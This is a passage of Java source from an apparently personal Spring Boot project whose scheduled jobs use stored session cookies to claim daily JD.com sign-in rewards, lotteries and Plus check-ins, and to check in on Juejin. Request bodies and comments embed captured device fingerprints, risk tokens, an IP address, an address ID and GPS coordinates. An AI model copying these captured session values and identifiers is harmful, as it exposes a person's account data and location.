| private String AgentID; 24 | 25 | @XmlElement(name = "Encrypt") 26 | private String Encrypt; 27 | 28 | 29 | public String getToUserName() { 30 | return ToUserName; 31 | } 32 | 33 | public void setToUserName(String toUserName) { 34 | ToUserName = toUserName; 35 | } 36 | 37 | public String getAgentID() { 38 | return AgentID; 39 | } 40 | 41 | public void setAgentID(String agentID) { 42 | AgentID = agentID; 43 | } 44 | 45 | public String getEncrypt() { 46 | return Encrypt; 47 | } 48 | 49 | public void setEncrypt(String encrypt) { 50 | Encrypt = encrypt; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/job/JDBeanJob.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.job; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import com.alibaba.fastjson.JSONObject; 5 | import com.google.common.collect.Lists; 6 | import com.google.common.collect.Maps; 7 | import com.longbig.multifunction.utils.FileUtils; 8 | import com.longbig.multifunction.utils.OkHttpUtils; 9 | import com.longbig.multifunction.utils.ResourceUtils; 10 | import lombok.extern.slf4j.Slf4j; 11 | import okhttp3.FormBody; 12 | import okhttp3.RequestBody; 13 | import org.springframework.beans.factory.annotation.Autowired; 14 | import org.springframework.beans.factory.annotation.Value; 15 | import org.springframework.scheduling.annotation.Scheduled; 16 | import org.springframework.stereotype.Component; 17 | 18 | import javax.annotation.PostConstruct; 19 | import java.io.IOException; 20 | import java.util.HashMap; 21 | import java.util.List; 22 | import java.util.Map; 23 | 24 | /** 25 | * @author yuyunlong 26 | * @date 2022/2/27 12:54 下午 27 | * @description 28 | */ 29 | @Component 30 | @Slf4j 31 | public class JDBeanJob { 32 | 33 | // @Value("${jd.pt_key}") 34 | // private String pt_key; 35 | // 36 | // @Value("${jd.pt_pin}") 37 | // private String pt_pin; 38 | @Autowired 39 | private ResourceUtils resourceUtils; 40 | @Value("${jd.filePath}") 41 | private String filePath; 42 | 43 | @Value("${start.docker}") 44 | private Integer fromDocker; 45 | 46 | private List cookies; 47 | 48 | @PostConstruct 49 | public void init() { 50 | log.info("加载cookie到全局变量"); 51 | cookies = Lists.newArrayList(); 52 | List ptAlls = Lists.newArrayList(); 53 | Boolean isFromDocker = fromDocker == 1 ? true : false; 54 | if (isFromDocker) { 55 | log.info("start from docker,filePath:{}", filePath); 56 | ptAlls = FileUtils.readFileToStringList(filePath); 57 | } else { 58 | log.info("start from java, filePath:{}", filePath); 59 | ptAlls = resourceUtils.readFromClassPath(filePath); 60 | } 61 | for (String ptAll : ptAlls) { 62 | String[] pts = ptAll.split(","); 63 | String pt_key1 = pts[0]; 64 | String pt_pin1 = pts[1]; 65 | String cookie = "__jd_ref_cls=JingDou_SceneHome_NewGuidExpo; mba_muid=1645885780097318205272.81.1645885790055; mba_sid=81.5; __jda=122270672.1645885780097318205272.1645885780.1645885780.1645885780.1; __jdb=122270672.1.1645885780097318205272|1.1645885780; __jdc=122270672; __jdv=122270672%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1644027879157; pre_seq=0; pre_session=3acd1f6361f86fc0a1bc23971b2e7bbe6197afb6|143; unpl=JF8EAKZnNSttWRkDURtVThUWHAgEWw1dH0dXOjMMAFVcTQQAEwZORxR7XlVdXhRKFx9sZhRUX1NIVw4YBCsiEEpcV1ZVC0kVAV9XNVddaEpkBRwAExEZQ1lWW1kMTBcEaWcAUVpeS1c1KwUbGyB7bVFeXAlOFQJobwxkXGhJVQQZBR0UFU1bZBUzCQYXBG1vBl1VXElRAR8FGxUWS1hRWVsISCcBb2cHUm1b%7CV2_ZzNtbRYAFxd9DUNcKRxYB2ILGloRUUYcIVpAAHsbWQZjVBEJclRCFnUUR11nGlgUZgIZXkFcQRRFCEJkexhdB24LFFtEUHMQfQ5GXH0pXAQJbRZeLAcCVEULRmR6KV5VNVYSCkVVRBUiAUEDKRgMBTRREV9KUUNGdlxAByhNWwVvBUIKEVBzJXwJdlR6GF0GZAoUWUdRQCUpUBkCJE0ZWTVcIlxyVnMURUooDytAGlU1Vl9fEgUWFSIPRFN7TlUCMFETDUIEERZ3AEBUKBoIAzRQRlpCX0VFIltBZHopXA%253d%253d; " + 66 | "pt_key=" + pt_key1 + 67 | "; pt_pin=" + pt_pin1 + 68 | "; pwdt_id=jd_505bacd333f6b; sid=1b2c8b7ce820c4188f048e689bf58c8w; visitkey=36446698972455355"; 69 | cookies.add(cookie); 70 | } 71 | log.info("cookies size:{}", cookies.size()); 72 | } 73 | 74 | /** 75 | * 京东每日签到 76 | * 77 | * @return 78 | */ 79 | @Scheduled(cron = "0 0 6 1/1 * ?") 80 | public String getJdSign() throws Exception { 81 | String url = "https://api.m.jd.com/client.action?functionId=signBeanAct&body=%7B%22fp%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22referUrl%22%3A%22-1%22%2C%22userAgent%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22rnVersion%22%3A%223.9%22%7D&appid=ld&client=apple&clientVersion=10.0.4&networkType=wifi&osVersion=14.8.1&uuid=3acd1f6361f86fc0a1bc23971b2e7bbe6197afb6&openudid=3acd1f6361f86fc0a1bc23971b2e7bbe6197afb6&jsonp=jsonp_1645885800574_58482"; 82 | String body = "{\"eid\":\"eidAb47c8121a5s24aIy0D0WQXSKdROGt9BUSeGiNEbMeQodwSwkLi6x5/GTFC7BV7lPMjljpMxVNCcAW/qdrQvDSdhaI5715Sui3MB7nluMccMWqWFL\",\"fp\":\"-1\",\"jda\":\"-1\",\"referUrl\":\"-1\",\"rnVersion\":\"4.7\",\"shshshfp\":\"-1\",\"shshshfpa\":\"-1\",\"userAgent\":\"-1\"}"; 83 | 84 | int n = 0; 85 | Map header = Maps.newHashMap(); 86 | RequestBody requestBody = new FormBody.Builder().add("body", body).build(); 87 | 88 | for (String cookie : cookies) { 89 | String response = OkHttpUtils.post(url, cookie, requestBody, header); 90 | log.info("京东签到任务执行次数:{}, 结果:{}", ++n, response); 91 | Thread.sleep(1000L); 92 | } 93 | return "执行完成"; 94 | } 95 | 96 | /** 97 | * 京东摇京豆签到 98 | * 99 | * @return 100 | */ 101 | @Scheduled(cron = "0 0 7 1/1 * ?") 102 | public String getSharkBean() throws Exception { 103 | log.info("摇京豆签到开始"); 104 | int n = 0; 105 | for (String cookie : cookies) { 106 | for (int i = 1; i < 8; i++) { 107 | String url = "https://api.m.jd.com/?appid=sharkBean&functionId=pg_interact_interface_invoke&body=%7B%22floorToken%22:%22f1d574ec-b1e9-43ba-aa84-b7a757f27f0e%22,%22dataSourceCode%22:%22signIn%22,%22argMap%22:%7B%22currSignCursor%22:" + 108 | i + 109 | "%7D,%22riskInformation%22:%7B%22platform%22:1,%22pageClickKey%22:%22%22,%22eid%22:%227IJ4SBWVAY6L5FOEQHCBZ57B3CYAYAA4LGJH2NGO6F6BE7PLEAJUY5WQOUI4BDGFRPH3RSGPLV5APHF4YV4DMJZ2UQ%22,%22fp%22:%22e0e4fadfadac7be71f89b78901f60fe4%22,%22shshshfp%22:%2298d7f7d062531be7af606b13b9c57a3e%22,%22shshshfpa%22:%222768c811-4a2f-1596-cf01-9d0cbd0319b9-1651280386%22,%22shshshfpb%22:%22iMZyawmZjTHrSJ72sZmuHog%22%7D%7D"; 110 | 111 | // String cookie = "__jd_ref_cls=; mba_muid=16504967721461800060416.99.1651285154110; mba_sid=99.4; shshshfpa=2768c811-4a2f-1596-cf01-9d0cbd0319b9-1651280386; shshshfpb=iMZyawmZjTHrSJ72sZmuHog; 3AB9D23F7A4B3C9B=7IJ4SBWVAY6L5FOEQHCBZ57B3CYAYAA4LGJH2NGO6F6BE7PLEAJUY5WQOUI4BDGFRPH3RSGPLV5APHF4YV4DMJZ2UQ; _gia_s_e_joint={\"eid\":\"7IJ4SBWVAY6L5FOEQHCBZ57B3CYAYAA4LGJH2NGO6F6BE7PLEAJUY5WQOUI4BDGFRPH3RSGPLV5APHF4YV4DMJZ2UQ\",\"dt\":\"iPhone12,1\",\"ma\":\"\",\"im\":\"\",\"os\":\"iOS\",\"osv\":\"15.4.1\",\"ip\":\"120.244.234.209\",\"apid\":\"jdapp\",\"ia\":\"3B61EEC6-516C-4DA4-AF6C-E99F313C64D0\",\"uu\":\"\",\"cv\":\"10.0.4\",\"nt\":\"WIFI\",\"at\":\"1\"}; cid=8; shshshfp=dabca35fcbc92cb1d009acde19f60b81; shshshsID=6cd6fac4a28dea23e4e76cf97b9c6cf4_1_1651285134177; unpl=JF8EAKZnNSttWRkDURtVThUWHAgEWw1dH0dXOjMMAFVcTQQAEwZORxR7XlVdXhRKFx9sZhRUX1NIVw4YBCsiEEpcV1ZVC0kVAV9XNVddaEpkBRwAExEZQ1lWW1kMTBcEaWcAUVpeS1c1KwUbGyB7bVFeXAlOFQJobwxkXGhJVQQZBR0UFU1bZBUzCQYXBG1vBl1VXElRAR8FGxUWS1hRWVsISCcBb2cHUm1b%7CV2_ZzNtbRYAFxd9DUNcKRxYB2ILGloRUUYcIVpAAHsbWQZjVBEJclRCFnUUR11nGlgUZgIZXkFcQRRFCEJkexhdB24LFFtEUHMQfQ5GXH0pXAQJbRZeLAcCVEULRmR6KV5VNVYSCkVVRBUiAUEDKRgMBTRREV9KUUNGdlxAByhNWwVvBUIKEVBzJXwJdlR6GF0GZAoUWUdRQCUpUBkCJE0ZWTVcIlxyVnMURUooDytAGlU1Vl9fEgUWFSIPRFN7TlUCMFETDUIEERZ3AEBUKBoIAzRQRlpCX0VFIltBZHopXA%253d%253d; wxa_level=1; BATQW722QTLYVCRD={\"tk\":\"jdd014C2R445NQYRGM2X3QKQ7BOICIGKUL57ZGXLUETYHP6DPFMF3FC5FADWM5W3DOGWGEMFPMW3KGPGLDUNAB23DY5GEX3BCC4GPCJKUUJI01234567\",\"t\":1651285133703}; __jda=182444734.16504967721461800060416.1650496772.1651280279.1651285101.7; __jdb=182444734.2.16504967721461800060416|7.1651285101; __jdc=182444734; __jdv=182444734%7Cjdzt_refer_null%7Ct_232310336_1%7Cjzt-zhitou%7Cfiwrnksz5tchm01%7C1650496771000; _gia_s_local_fingerprint=e0e4fadfadac7be71f89b78901f60fe4; pre_seq=2; pre_session=3acd1f6361f86fc0a1bc23971b2e7bbe6197afb6|169; " + 112 | // "pt_key=" + pt_key + 113 | // "; " + 114 | // "pt_pin=" + pt_pin + 115 | // "; pwdt_id=jd_505bacd333f6b; sid=6ec7b9b0ff6956ee81461a9de14ae5bw; qd_fs=1651280528306; qd_ls=1651280528306; qd_sq=1; qd_ts=1651280528306; qd_uid=L2L5SI43-E24VE8SYB4FZVDYK53ZZ; qd_ad=-%7C-%7Cdirect%7C-%7C0; joyya=1651280501.0.32.0tuefmd; joyytokem=babel_23ebsEwajrvYj9qqsqhDJwZprQBoMDFuTUZPazk5MQ==.X3tzfllWfXJ2WFx0djENDRoNJF8dH3N3FV9hcGNaQnw4fRVfMy8CMRcsMSIxBBkOPTgkenQ8MQM4DiAMEA==.d806f45a; mobilev=touch; __jdu=16504967721461800060416; visitkey=36446698972455355"; 116 | Map header = new HashMap<>(); 117 | header.put("origin", "https://spa.jd.com"); 118 | header.put("referer", "https://spa.jd.com/"); 119 | RequestBody requestBody = new FormBody.Builder().build(); 120 | 121 | String response = OkHttpUtils.post(url, cookie, requestBody, header); 122 | log.info("摇京豆执行{}次,response:{}", ++n, response); 123 | JSONObject object = JSON.parseObject(response); 124 | String success = object.getString("success"); 125 | } 126 | } 127 | return "success"; 128 | } 129 | 130 | /** 131 | * 京豆抽奖任务,抽奖获取的京豆随机 132 | * 133 | * @return 134 | */ 135 | @Scheduled(cron = "0 0 8 1/1 * ?") 136 | public String getLottery() throws Exception { 137 | String url = "https://api.m.jd.com/client.action?functionId=babelGetLottery"; 138 | // String cookie = "__jd_ref_cls=Babel_H5FirstClick; mba_muid=16504967721461800060416.100.1651305586474; mba_sid=100.3; shshshfp=98d7f7d062531be7af606b13b9c57a3e; shshshfpa=2768c811-4a2f-1596-cf01-9d0cbd0319b9-1651280386; shshshfpb=iMZyawmZjTHrSJ72sZmuHog; shshshsID=8d0fce7416ae29c7b63dfe7754b256f1_1_1651305586715; __jda=182444734.16504967721461800060416.1650496772.1651285101.1651305562.8; __jdb=182444734.2.16504967721461800060416|8.1651305562; __jdc=182444734; __jdv=182444734%7Cjdzt_refer_null%7Ct_232310336_1%7Cjzt-zhitou%7Cfiwrnksz5tchm01%7C1650496771000; joyya=1651305562.0.36.04twf37; pre_seq=1; pre_session=3acd1f6361f86fc0a1bc23971b2e7bbe6197afb6|171; unpl=JF8EAKZnNSttWRkDURtVThUWHAgEWw1dH0dXOjMMAFVcTQQAEwZORxR7XlVdXhRKFx9sZhRUX1NIVw4YBCsiEEpcV1ZVC0kVAV9XNVddaEpkBRwAExEZQ1lWW1kMTBcEaWcAUVpeS1c1KwUbGyB7bVFeXAlOFQJobwxkXGhJVQQZBR0UFU1bZBUzCQYXBG1vBl1VXElRAR8FGxUWS1hRWVsISCcBb2cHUm1b%7CV2_ZzNtbRYAFxd9DUNcKRxYB2ILGloRUUYcIVpAAHsbWQZjVBEJclRCFnUUR11nGlgUZgIZXkFcQRRFCEJkexhdB24LFFtEUHMQfQ5GXH0pXAQJbRZeLAcCVEULRmR6KV5VNVYSCkVVRBUiAUEDKRgMBTRREV9KUUNGdlxAByhNWwVvBUIKEVBzJXwJdlR6GF0GZAoUWUdRQCUpUBkCJE0ZWTVcIlxyVnMURUooDytAGlU1Vl9fEgUWFSIPRFN7TlUCMFETDUIEERZ3AEBUKBoIAzRQRlpCX0VFIltBZHopXA%253d%253d; 3AB9D23F7A4B3C9B=7IJ4SBWVAY6L5FOEQHCBZ57B3CYAYAA4LGJH2NGO6F6BE7PLEAJUY5WQOUI4BDGFRPH3RSGPLV5APHF4YV4DMJZ2UQ; _gia_s_e_joint={\"eid\":\"7IJ4SBWVAY6L5FOEQHCBZ57B3CYAYAA4LGJH2NGO6F6BE7PLEAJUY5WQOUI4BDGFRPH3RSGPLV5APHF4YV4DMJZ2UQ\",\"dt\":\"iPhone12,1\",\"ma\":\"\",\"im\":\"\",\"os\":\"iOS\",\"osv\":\"15.4.1\",\"ip\":\"120.244.234.209\",\"apid\":\"jdapp\",\"ia\":\"3B61EEC6-516C-4DA4-AF6C-E99F313C64D0\",\"uu\":\"\",\"cv\":\"10.0.4\",\"nt\":\"WIFI\",\"at\":\"1\"}; cid=8; wxa_level=1; BATQW722QTLYVCRD={\"tk\":\"jdd014C2R445NQYRGM2X3QKQ7BOICIGKUL57ZGXLUETYHP6DPFMF3FC5FADWM5W3DOGWGEMFPMW3KGPGLDUNAB23DY5GEX3BCC4GPCJKUUJI01234567\",\"t\":1651285133703}; _gia_s_local_fingerprint=e0e4fadfadac7be71f89b78901f60fe4; " + 139 | // "pt_key=" + pt_key + 140 | // "; pt_pin=" + pt_pin + 141 | // "; pwdt_id=jd_505bacd333f6b; sid=6ec7b9b0ff6956ee81461a9de14ae5bw; qd_fs=1651280528306; qd_ls=1651280528306; qd_sq=1; qd_ts=1651280528306; qd_uid=L2L5SI43-E24VE8SYB4FZVDYK53ZZ; qd_ad=-%7C-%7Cdirect%7C-%7C0; mobilev=touch; __jdu=16504967721461800060416; visitkey=36446698972455355"; 142 | String body = "{\"enAwardK\":\"ltvTJ/WYFPZcuWIWHCAjRz/NdrezuUkm8ZIGKKD06/oaqi8FPY5ILISE5QLULmK6RUnNSgnFndqy\\ny4p8d6/bK/bwdZK6Aw80mPSE7ShF/0r28HWSugMPNPm5JQ8b9nflgkMfDwDJiaqThDW7a9IYpL8z\\n7mu4l56kMNsaMgLecghsgTYjv+RZ8bosQ6kKx+PNAP61OWarrOeJ2rhtFmhQncw6DQFeBryeMUM1\\nw9SpK5iag4uLvHGIZstZMKOALjB/r9TIJDYxHs/sFMU4vtb2jX9DEwleHSLTLeRpLM1w+RakAk8s\\nfC4gHoKM/1zPHJXq1xfwXKFh5wKt4jr5hEqddxiI8N28vWT05HuOdPqtP+0EbGMDdSPdisoPmlru\\n+CyHR5Kt0js9JUM=_babel\",\"awardSource\":\"1\",\"srv\":\"{\\\"bord\\\":\\\"0\\\",\\\"fno\\\":\\\"0-0-2\\\",\\\"mid\\\":\\\"70952802\\\",\\\"bi2\\\":\\\"2\\\",\\\"bid\\\":\\\"0\\\",\\\"aid\\\":\\\"01155413\\\"}\",\"encryptProjectId\":\"3u4fVy1c75fAdDN6XRYDzAbkXz1E\",\"encryptAssignmentId\":\"2x5WEhFsDhmf8JohWQJFYfURTh9w\",\"authType\":\"2\",\"riskParam\":{\"platform\":\"3\",\"orgType\":\"2\",\"openId\":\"-1\",\"pageClickKey\":\"Babel_WheelSurf\",\"eid\":\"eidI69b381246dseNGdrD6vtTrOauSQ/zRycuDRnbInWZmVfFbyoI59uVkzYYiQZrUGzGkpqNpHHJHv37CthY6ooTnYpqX2mBZ2riJHvc8c9kta1QpZh\",\"fp\":\"-1\",\"shshshfp\":\"98d7f7d062531be7af606b13b9c57a3e\",\"shshshfpa\":\"2768c811-4a2f-1596-cf01-9d0cbd0319b9-1651280386\",\"shshshfpb\":\"iMZyawmZjTHrSJ72sZmuHog\",\"childActivityUrl\":\"https%3A%2F%2Fpro.m.jd.com%2Fmall%2Factive%2F2xoBJwC5D1Q3okksMUFHcJQhFq8j%2Findex.html%3Ftttparams%3DjyJinIeyJnTG5nIjoiMTE2LjQwNjQ1IiwiZ0xhdCI6IjQwLjA2MjkxIn60%253D%26un_area%3D1_2901_55565_0%26lng%3D116.4065317104862%26lat%3D40.06278498159455\",\"userArea\":\"-1\",\"client\":\"\",\"clientVersion\":\"\",\"uuid\":\"\",\"osVersion\":\"\",\"brand\":\"\",\"model\":\"\",\"networkType\":\"\",\"jda\":\"-1\"},\"siteClient\":\"apple\",\"mitemAddrId\":\"\",\"geo\":{\"lng\":\"116.4065317104862\",\"lat\":\"40.06278498159455\"},\"addressId\":\"5777681655\",\"posLng\":\"\",\"posLat\":\"\",\"homeLng\":\"116.40645\",\"homeLat\":\"40.06291\",\"focus\":\"\",\"innerAnchor\":\"\",\"cv\":\"2.0\"}"; 143 | 144 | log.info("抽京豆开始"); 145 | Map header = Maps.newHashMap(); 146 | header.put("origin", "https://pro.m.jd.com"); 147 | header.put("referer", "https://pro.m.jd.com/"); 148 | 149 | RequestBody requestBody = new FormBody.Builder() 150 | .add("body", body) 151 | .add("client", "wh5") 152 | .add("clientVersion", "1.0.0") 153 | .build(); 154 | int n = 0; 155 | for (String cookie : cookies) { 156 | String response = OkHttpUtils.post(url, cookie, requestBody, header); 157 | log.info("抽京豆执行{}次,response:{}", ++n, response); 158 | Thread.sleep(1000L); 159 | 160 | } 161 | return "success"; 162 | 163 | } 164 | 165 | /** 166 | * 京东plus会员签到 167 | * 168 | * @return 169 | * @throws IOException 170 | */ 171 | @Scheduled(cron = "0 0 9 1/1 * ?") 172 | public String plusSign() throws Exception { 173 | // String cookie = "__jda=76161171.16512799826871486287173.1651279983.1651279983.1651279983.1; __jdc=76161171; __jdv=76161171|direct|-|none|-|1651279982687; __jdu=16512799826871486287173; areaId=1; ipLoc-djd=1-2802-0-0; PCSYCityID=CN_110000_110100_0; wxa_level=1; retina=1; jxsid=16512799876625643916; appCode=ms0ca95114; webp=1; mba_muid=16512799826871486287173; visitkey=142671134079494; sc_width=400; shshshfpa=7884f666-91a4-18a7-6fc9-b12b754ab327-1651280152; shshshfpb=oMiLjed03uL_RaQJxnJwqgQ; 3AB9D23F7A4B3C9B=IWPBYOW5BK53ZLQPLF3CODUTXGQNHUVF3BQW6YTGDSV5ZOH6Y5ND4NBV4DVFQYIT5LPVBNERC4JNL5JNDY5NOLYNHM; jcap_dvzw_fp=aS2oEeOT_LYmDdwn2ArUVyeat2PTKF8FKITMPZJzvUoAqnrPN-kKfnxf9N3AH3UREZYULA==; whwswswws=; TrackerID=-C9xSqVf4X7KepU2UMaDdRvT1FY2XfKJDFHViqXn7UimMcCiv6h63uOAg0YqeErmaR0QrqVqiwlJ3YujRjnckKaIC-J1tf_TDucPtCqABwzoZpIYinQT2BAeZ89lHSH6ieZFel8nMo15Qj3avkykbg; " + 174 | // "pt_key=" + pt_key + 175 | // "; pt_pin=" + pt_pin + 176 | // "; pt_token=dpd4uwmi; pwdt_id=%E9%BE%99%E6%88%98%E5%A3%AB520; sfstoken=tk01mdf701d1ca8sMisxKzN4MXgxGnMwyo0N/0U9alRF28hqmrssFFQh4QpqxRmjW+qPRNtacKlPqQjluHBa8vzB4/X2; autoOpenApp_downCloseDate_auto=1651280224263_1800000; equipmentId=IWPBYOW5BK53ZLQPLF3CODUTXGQNHUVF3BQW6YTGDSV5ZOH6Y5ND4NBV4DVFQYIT5LPVBNERC4JNL5JNDY5NOLYNHM; fingerprint=69738c14bb2a81939b5f018f509895a0; deviceVersion=100.0.4896.127; deviceOS=android; deviceOSVersion=6.0; deviceName=Chrome; wq_area=1_2802_0%7C1; cid=9; PPRD_P=UUID.16512799826871486287173-LOGID.1651280432023.772488001; sbx_hot_h=null; _gia_s_local_fingerprint=23c9371ecbeadbaa4231b9ba8f4a958b; __wga=1651280643494.1651280032643.1651280032643.1651280032643.13.1; jxsid_s_t=1651280643548; jxsid_s_u=https%3A//m.jd.com/portal/app_center.shtml; wqmnx1=MDEyNjM4MXQuP2xkOTZwczQxOWFpZDAgLyBiLk0gQzA2YmEzcmQyNE9JSEg%3D; autoOpenApp_downCloseDate_jd_homePage=1651280864563_1; plusCustomBuryPointToken=1651280914605_4020; __jdb=76161171.45.16512799826871486287173|1.1651279983; mba_sid=16512799879876217710087685309.44; shshshfp=a5de4b4af7a07ee5043c70faf357ca81; shshshsID=788f41f9898fe85b37980918e5860c5f_14_1651280943415; joyytokem=babel_3joSPpr7RgdHMbcuqoRQ8HbcPo9UMDFGRlluRzk5MQ==.d3BsX3V+dmBadHV2bxBxf3NgXyYAczZfOXdqb0J2ancnXDl3ODYjLgosPAp3dTMVMRUnFxMWKQwxKAkWOA==.6aac9775; _gia_s_e_joint={\"eid\":\"IWPBYOW5BK53ZLQPLF3CODUTXGQNHUVF3BQW6YTGDSV5ZOH6Y5ND4NBV4DVFQYIT5LPVBNERC4JNL5JNDY5NOLYNHM\",\"ma\":\"\",\"im\":\"\",\"os\":\"Android 6.x\",\"ip\":\"120.244.234.209\",\"ia\":\"\",\"uu\":\"\",\"at\":\"6\"}; __jd_ref_cls=Babel_dev_other_sign; joyya=1651280943.1651280955.54.0zl3krs"; 177 | String url = "https://api.m.jd.com/client.action?functionId=doInteractiveAssignment"; 178 | String body = "{\"sourceCode\":\"acetttsign\",\"encryptProjectId\":\"3FCTNcsr7BoQUw7dx1h3KJ9Hi9yJ\",\"encryptAssignmentId\":\"3o2cWjTjZoCjKJcQwQ2bFgLkTnZC\",\"completionFlag\":true,\"itemId\":\"1\",\"extParam\":{\"forceBot\":\"1\",\"businessData\":{\"random\":\"LLSuE5uy\"},\"signStr\":\"1651280954835~1OgLu20Tq0QMDFGRlluRzk5MQ==.d3BsX3V+dmBadHV2bxBxf3NgXyYAczZfOXdqb0J2ancnXDl3ODYjLgosPAp3dTMVMRUnFxMWKQwxKAkWOA==.6aac9775~1,1~18BD8887199573132F7270C7423274FE2B819200~1yxx4at~C~TRNMWhYJbWwUFUBdWxMCbBZXAxx6eRhydB0BBGYfBx8IBwQfQhMUFVAEG3N2G3VxGggOfhgCGAEIBxhHFGwUFVNBWBMCBhgRRUIaDRYCAAQJBQwDDwULBwMLDwMAAxYfFEZdUxYJFEVMQ0BHUEReFRgRQVRZFQ4RUFdMQ0FHQ1AaGxZDUl8aDW8ABB0JDgMfBwIUDhgCAx0JahgRXFsaDQUfFFJLFQ4RUwkOBVYHVwMMBABRUAIODlBRV1QMAgIBAwELBARRAVAaGxZdRhMCFXlSVXhWQ1FfFB0aQxYJBwcNBgYLBggNAwwAAx0aXV8RDBNZFRgRUEFaFQ4RWXxRe15WUgELQnhsZFBpfUxdfEZJUGURGhNWQRYJFHZXWFNfUxFxWVcdFB0aWVVFFAsaVBYfFEJbRRYJbQkKDhgGBgFlGxZBWRMCbBZSFB0aVhYfFFAaGxZSFB0aVhYfFFAaGxZSFGwUFV1cVxMCFVJVUFdeUUBHFB0aVl4RDBNNFRgRVVgaDRZEBR8NGQYRGhNbUWtFFAsaDg0RGhNaUxYJFENZWVBcWwx0e2dGcwRNThYfFFxSFQ5oBx0IGwRuGhNaW1tUFAsaVhYfFFxLUBYJFFAaSg==~1cs6hu7\",\"sceneid\":\"babel_3joSPpr7RgdHMbcuqoRQ8HbcPo9U\"},\"activity_id\":\"3joSPpr7RgdHMbcuqoRQ8HbcPo9U\",\"template_id\":\"00019605\",\"floor_id\":\"75471325\",\"enc\":\"A4737E261D02E91C30C566C1C671734D124B75F8759F591EFAFB127342C10708BAA7D80C309F2B17973BB15312D14004B865E9A1F04C7C3E3E312AA7309E7B31\"}"; 179 | log.info("京东plus会员签到开始"); 180 | Map header = Maps.newHashMap(); 181 | header.put("origin", "https://pro.m.jd.com"); 182 | header.put("referer", "https://pro.m.jd.com/"); 183 | 184 | RequestBody requestBody = new FormBody.Builder() 185 | .add("body", body) 186 | .add("appid", "babelh5") 187 | .add("sign", "11") 188 | .build(); 189 | int n = 0; 190 | for (String cookie : cookies) { 191 | String response = OkHttpUtils.post(url, cookie, requestBody, header); 192 | log.info("京东plus会员签到执行{}次,response:{}", ++n, response); 193 | Thread.sleep(1000L); 194 | } 195 | 196 | return "success"; 197 | } 198 | } 199 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/job/JuejinJob.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.job; 2 | 3 | import com.google.common.collect.Maps; 4 | import com.longbig.multifunction.utils.OkHttpUtils; 5 | import lombok.extern.slf4j.Slf4j; 6 | import okhttp3.FormBody; 7 | import okhttp3.RequestBody; 8 | import org.springframework.beans.factory.annotation.Value; 9 | import org.springframework.scheduling.annotation.Scheduled; 10 | import org.springframework.stereotype.Component; 11 | 12 | import java.util.Map; 13 | 14 | /** 15 | * @author yuyunlong 16 | * @date 2022/9/4 4:34 下午 17 | * @description 18 | */ 19 | @Slf4j 20 | @Component 21 | public class JuejinJob { 22 | 23 | @Value("${juejin.Cookie}") 24 | private String juejinCookie; 25 | 26 | /** 27 | * 掘金自动签到 28 | * 29 | * @return 30 | */ 31 | @Scheduled(cron = "0 0 9 1/1 * ?") 32 | public String juejinSign() throws Exception { 33 | log.info("掘金自动签到开始"); 34 | Map header = Maps.newHashMap(); 35 | String url = "https://api.juejin.cn/growth_api/v1/check_in"; 36 | String juejinCookie = "你的cookie"; 37 | RequestBody requestBody = new FormBody.Builder().build(); 38 | String response = OkHttpUtils.post(url, juejinCookie, requestBody, header); 39 | 40 | return response; 41 | } 42 | 43 | /** 44 | * 掘金自动抽奖 45 | * 46 | * @return 47 | */ 48 | @Scheduled(cron = "0 0 9 1/1 * ?") 49 | public String juejinDraw() throws Exception { 50 | log.info("掘金自动抽奖开始"); 51 | Map header = Maps.newHashMap(); 52 | String drawUrl = "https://api.juejin.cn/growth_api/v1/lottery/draw"; 53 | String juejinCookie = "你的cookie"; 54 | RequestBody requestBody = new FormBody.Builder().build(); 55 | String response = OkHttpUtils.post(drawUrl, juejinCookie, requestBody, header); 56 | return response; 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/chatgpt/GptMessageDto.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.chatgpt; 2 | 3 | import lombok.ToString; 4 | 5 | /** 6 | * @author yuyunlong 7 | * @date 2023/3/4 20:47 8 | * @description 9 | */ 10 | @ToString 11 | public class GptMessageDto { 12 | private String role; 13 | private String content; 14 | 15 | public String getRole() { 16 | return role; 17 | } 18 | 19 | public void setRole(String role) { 20 | this.role = role; 21 | } 22 | 23 | public String getContent() { 24 | return content; 25 | } 26 | 27 | public void setContent(String content) { 28 | this.content = content; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/aes/AesException.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.aes; 2 | 3 | //@SuppressWarnings("serial") 4 | public class AesException extends Exception { 5 | 6 | public final static int OK = 0; 7 | public final static int ValidateSignatureError = -40001; 8 | public final static int ParseXmlError = -40002; 9 | public final static int ComputeSignatureError = -40003; 10 | public final static int IllegalAesKey = -40004; 11 | public final static int ValidateCorpidError = -40005; 12 | public final static int EncryptAESError = -40006; 13 | public final static int DecryptAESError = -40007; 14 | public final static int IllegalBuffer = -40008; 15 | //public final static int EncodeBase64Error = -40009; 16 | //public final static int DecodeBase64Error = -40010; 17 | //public final static int GenReturnXmlError = -40011; 18 | 19 | private int code; 20 | 21 | private static String getMessage(int code) { 22 | switch (code) { 23 | case ValidateSignatureError: 24 | return "签名验证错误"; 25 | case ParseXmlError: 26 | return "xml解析失败"; 27 | case ComputeSignatureError: 28 | return "sha加密生成签名失败"; 29 | case IllegalAesKey: 30 | return "SymmetricKey非法"; 31 | case ValidateCorpidError: 32 | return "corpid校验失败"; 33 | case EncryptAESError: 34 | return "aes加密失败"; 35 | case DecryptAESError: 36 | return "aes解密失败"; 37 | case IllegalBuffer: 38 | return "解密后得到的buffer非法"; 39 | // case EncodeBase64Error: 40 | // return "base64加密错误"; 41 | // case DecodeBase64Error: 42 | // return "base64解密错误"; 43 | // case GenReturnXmlError: 44 | // return "xml生成失败"; 45 | default: 46 | return null; // cannot be 47 | } 48 | } 49 | 50 | public int getCode() { 51 | return code; 52 | } 53 | 54 | AesException(int code) { 55 | super(getMessage(code)); 56 | this.code = code; 57 | } 58 | 59 | } 60 | 